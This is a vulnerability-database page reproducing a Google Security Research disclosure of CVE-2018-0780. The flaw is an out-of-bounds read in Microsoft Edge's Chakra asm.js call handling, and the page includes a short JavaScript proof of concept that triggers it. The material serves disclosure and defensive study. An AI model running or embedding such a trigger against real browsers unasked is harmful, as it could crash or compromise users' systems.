Lucene search
K

Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall Call Handling

🗓️ 18 Jan 2018 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 63 Views

Microsoft Edge Chakra AsmJSByteCodeGenerator::EmitCall call handling bug CVE-2018-078

Related
Code
`Microsoft Edge: Chakra: AsmJSByteCodeGenerator::EmitCall call handling bug   
  
CVE-2018-0780  
  
  
AsmJSByteCodeGenerator::EmitCall which is used to emit call insturctions doesn't check if an array identifier is used as callee. The method handles those invalid calls in the same way it handles valid calls such as "arr[idx & ...]()". In these cases, the index register remains NoRegister which is (uint32_t)-1. It results in OOB read.  
  
PoC:  
function Module() {  
'use asm';  
function f() {  
arr();  
}  
  
function g() {  
}  
  
var arr = [g];  
return f;  
}  
  
let f = Module();  
f();  
  
  
This bug is subject to a 90 day disclosure deadline. After 90 days elapse  
or a patch has been made broadly available, the bug report will become  
visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation